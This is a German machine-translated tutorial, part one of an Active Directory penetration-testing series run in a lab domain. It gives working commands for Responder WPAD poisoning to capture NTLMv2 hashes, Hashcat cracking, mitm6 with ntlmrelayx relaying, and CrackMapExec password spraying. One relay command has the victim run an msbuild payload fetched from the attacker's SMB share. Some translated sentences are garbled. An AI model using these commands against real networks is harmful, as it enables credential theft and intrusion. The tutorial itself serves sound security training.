Pentest Active Directory. Teil 1

Die Übersetzung des Artikels wurde speziell für Studenten des Pentest vorbereitet . Penetrationstest-Praxis .




Ich hatte mehrere Kunden, die vor dem Pentest mit der Zuversicht zu mir kamen, dass sie in einem guten Zustand waren, da ihre Schwachstellenanalyse keine kritischen Schwachstellen aufwies und sie für den Pentest bereit waren, nur damit ich Domänenadministratorrechte erhalten konnte Nutzen Sie Konfigurationsfehler in AD in nur fünfzehn Minuten.

Eine der Lücken in der Ausbildung, die ich bei Penetrationstests sehe, ist das mangelnde Bewusstsein in Bezug auf Active Directory Pentesting (AD). Leider unterrichtet OSCP keine AD-Tests, und selbst der SANS GPEN-Kurs berührt dies kaum. Das Ziel dieser Serie ist es, einige der Tricks, Werkzeuge und Techniken zu demonstrieren, die ich in der Vergangenheit für erfolgreiche Pentests mit AD verwendet habe. Dies ist keineswegs eine erschöpfende Anleitung für jede Methode oder jedes Werkzeug. In dieser Reihe werde ich Kali Linux 2019 verwenden und über virtuelle Maschinen in meiner Dummy-Domäne arbeiten.

Beginnen wir mit der Definition des Ziels : Das Ziel eines Penetrationstests besteht darin, einen möglichen Angriffsvektor zu identifizieren, mit dem ein Angreifer in das Netzwerk eindringt. Es geht nicht nur darum, Domänenadministratorrechte zu erhalten und sich dann abzumelden.

Jetzt, da wir ein Ziel haben, müssen wir mehrere Schritte unternehmen, um es zu erreichen. Unten finden Sie eine (grobe) visuelle Anleitung für den Pentest-Zyklus.


Gepostet von: Microsoft

Synopsis : Ein Client hat Sie beauftragt, einen Penetrationstest in seinem Netzwerk durchzuführen, in dem Active Directory verwendet wird. Ihnen wurde nichts gegeben. Sie haben keine Zugangsdaten, keine Testgrenzen, keinen Ausweis, um die Eingangstür zu betreten, aber Sie schaffen es, hinter jemandem durch die Tür zu gelangen und mit einem IP-Telefon einen abgeschiedenen Raum zu finden. Sie trennen Ihr IP-Telefon, schließen Ihren Laptop an und sind online. Was weiter? Implementierung .

Phase I | Implementierung


Ohne Anmeldeinformationen können wir nur eine begrenzte Aufklärung durchführen, und die Aufklärung wird in fast jeder Phase des Zyklus stattfinden. Es gibt jedoch verschiedene Dinge, die wir sofort tun können, um im Netzwerk Fuß zu fassen. Da wir Zugriff auf das Netzwerk haben, überprüfen Sie zunächst über ifconfig oder ipconfig, an welchem ​​Subnetz wir arbeiten. Geben Sie nach Erhalt der IP-Adresse den Befehl ping in nmap ein, um zu prüfen, ob andere Geräte verfügbar sind.

nmap -sn 192.168.1.1/24 

Wenn die Geräte zurückkehren, sind Sie im Geschäft. Wenn Sie nichts empfangen, ist ICMP möglicherweise deaktiviert, es befinden sich keine anderen Geräte im Netzwerk oder Sie können nicht mit anderen Geräten kommunizieren, da Sie nicht authentifiziert wurden und möglicherweise von einer Identitätssicherheitslösung (z. B. Cisco ISE) blockiert wurden. Nehmen wir für den Artikel an, dass mehrere Computer zurückkehren und Sie sie erfolgreich pingen können.



Werkzeug : Responder

Als Nächstes verwenden wir ein Tool namens Responder oder, wenn Sie Windows nicht gleichgültig gegenüberstehen, Inveigh . Diese beiden Tools suchen nach einem sehr häufigen Fehler in der AD-Konfiguration, der zu einer möglichen Vergiftung von WPAD und NBT-NS führen kann. Standardmäßig ist Windows für die Suche nach einer automatischen Proxy-Konfigurationsdatei (Automatic Proxy Configuration File, PAC) über die automatische Web-Proxy-Erkennung (WPAD) konfiguriert. Es ist wichtig zu beachten, dass WPAD nicht das Protokoll ist, das die Suche durchführt, sondern nur eine Reihe von Prozeduren, mit denen das Gerät die PAC-Datei finden kann. Das automatische Erkennen einer PAC-Datei ist nützlich für Organisationen, da das Gerät eine Rundsendung sendet, um eine Proxy-Datei anzufordern und diese zu empfangen. Es wird jedoch nicht authentifiziert, wer die Proxy-Datei sendet, sodass der Angreifer eine gefälschte Antwort senden kann, die dann nach Anmeldeinformationen fragt.

In Kali ist standardmäßig ein Responder installiert.

 responder -I eth0 --wpad 

Auf meinem Windows 7-Computer öffne ich den Internet Explorer und gehe zu Google, das dann nach der WPAD-Datei sucht. In Responder wird angezeigt, wie die Anforderung eingegangen ist. Anschließend antwortet der Responder automatisch auf die Anforderung, wodurch das Opfer seinen Benutzernamen und sein Hash-Passwort (im NTLMv2-Format) sendet.



Es gibt mehrere Dinge, die wir mit diesem Hash tun können. Wir können versuchen, es mit einem Tool wie ntlmrelay.py zu hacken oder ntlmrelay.py . Ich habe in diesem Artikel darüber gesprochen, wie man ntlm-Hashes übersetzt, also werde ich mit dem Hacken fortfahren, da dies in der Regel genau das ist, was ich in der Praxis mache.

Um ehrlich zu sein, knacke ich unter Linux / Kali selten Passwörter. Ich verwende die NVIDIA-GPU, die sich unter Kali nie richtig installieren lässt. Außerdem gibt es eine HashcatGUI unter Windows, die den Vorgang erheblich vereinfacht, und diese werde ich verwenden. Ich nehme den resultierenden Hash, lege ihn in eine Datei mit dem Namen "hash.txt" und führe mehrere Wortlisten / Regeln darauf aus. Aber in diesem Fall habe ich nur rockyou.txt und es wurde für eine Sekunde gehackt.


Meine Einstellungen für HashcatGUI.


Gehacktes Passwort - "Passwort!"

Nachdem wir das Passwort erfolgreich geknackt haben, haben wir die Zugangsdaten „Alice: Passwort“!

Bevor ich fortfahre, gibt es einige andere Methoden, die ich zeigen möchte, falls der Responder nicht funktioniert.



Werkzeug : mitm6

Angenommen, das Client-Netzwerk verwendet eine legitime PAC-Datei und Ihr Spoofing funktioniert nicht. Es gibt eine andere Methode, die IPv6 und DNS verwendet, um Anmeldeinformationen an das Ziel zu übergeben. Standardmäßig ist IPv6 aktiviert und IPv4 sogar vorzuziehen. Dies bedeutet, dass der Computer, der über einen IPv6-DNS-Server verfügt, IPv4 bevorzugt . Außerdem suchen Windows-Computer standardmäßig über DHCPv6-Anforderungen nach einem IPv6-DNS-Server. Wenn wir also einen IPv6-DNS-Server vortäuschen, können wir effektiv steuern, wie das Gerät DNS anfordert. Lesen Sie hier mehr darüber.

Lade zuerst mitm6 herunter.

 git clone https://github.com/fox-it/mitm6.git cd mitm6 pip install . 

Führen Sie es dann in der Zielnetzwerk-Arbeitsgruppe aus. Da wir zuvor das Netzwerk gepingt haben, haben wir auch die NetBIOS-Namen erhalten und erfahren, dass die lab.local .

So sahen die Ziel-IP-Einstellungen vor dem Start von mitm6


Achten Sie auf einen DNS-Server
Dann habe ich mitm6 gestartet

 mitm6 -d lab.local 



Und jetzt haben sich die Ziele des DNS-Servers geändert


Notieren Sie die IPv6-Adresse als DNS-Server.

Die eigentliche Sicherheitsanfälligkeit besteht nun darin, dass Windows IPv6 anstelle von IPv4 bevorzugt, das heißt, jetzt steuere ich DNS.

Nun nutzen wir die Tatsache, dass wir DNS steuern, indem wir WPAD-Antworten über ntlmrelayx.py . Ich habe eine Anleitung zur Installation geschrieben.

Wenn mitm6 in einem Fenster ausgeführt wird, öffnen Sie ein anderes und führen Sie ntlmrelayx.py

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i 

-wh : Server, der die WPAD-Datei -wh (Angreifer-IP)
-t : Ziel (Sie können keine Anmeldeinformationen an dasselbe Gerät weiterleiten, das Sie herstellen)
-i : Interaktive Shell öffnen



Von hier aus können Sie sich mit Ihrem Steuerungs- und Überwachungssystem (C2) Ihrer Wahl verbinden. In diesem Fall verwende ich SILENTTRINITY. Daher verwende ich den Befehl -c, um meinen Befehl auszuführen. In diesem Fall wird MSBuild verwendet, um meine schädlichen Nutzdaten zu erstellen.

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' 



Aber nein, msbuild.exe erstellt in diesem Fall keine XML-Datei, und ich erhalte keine Verbindung zu SILENTTRINITY, da dies zu einfach wäre. Stattdessen schaue ich auf meinen SMB-Server und sehe einen Relay-Hash



Was ich wiederum hacke.



Und jetzt haben wir die Netzwerkanmeldeinformationen ohne Verwendung eines Responders.



Werkzeug : CrackMapExec

CrackMapExec ist im Wesentlichen ein Schweizer Pentestermesser. Von Passwort-Sprühangriffen und Hash-Übertragungen bis hin zur Ausführung von Befehlen sollte es in jedem Satz von Tools für Pentester enthalten sein.

Wenn alles andere fehlschlägt, können wir versuchen, einen Passwort-Spray-Angriff durchzuführen. Es gibt einen Grund, warum diese Methode die letzte ist, und dies liegt an einer Passwortsperre. Das Blockieren von Passwörtern ist nicht so häufig, wie Sie denken, sodass ein Angreifer einen Wörterbuchangriff anhand des Benutzernamens ausführen kann. Das Erhalten eines Benutzernamens ist der erste Schritt, der über OSINT und mit theHarvester ausgeführt werden kann. Wenn wir keinen Benutzernamen von OSINT haben, können wir CrackMapExec (CME) auch eine Liste von Benutzernamen geben. Nehmen wir jedoch aus Gründen der Übersichtlichkeit an, wir haben einen rsmith-Benutzernamen .

Wenn Sie in Kali sind, sollte CrackMapExec bereits installiert sein, wenn Sie eine neuere Version verwenden, aber wenn nicht, können Sie es installieren

 apt-get install crackmapexec 

Da wir als Ergebnis des Scans das Gerät im Netzwerk gefunden haben, können wir dem CME eine Liste von Passwörtern geben, die mit dem Benutzernamen gekoppelt sind, und versuchen, uns beim System anzumelden.

 crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares 

Nach einigen Sekunden ist das Passwort gefunden.



Zugangsdaten gefunden!

Es mag auch CTF aussehen, aber season: year ist eine äußerst beliebte Kombination von Passwörtern.

Mit diesen Anmeldeinformationen verfügen wir nun über ein Benutzerkonto. Wir werden uns im zweiten Teil der Privilegieneskalation zuwenden.

Source: https://habr.com/ru/post/de481348/


All Articles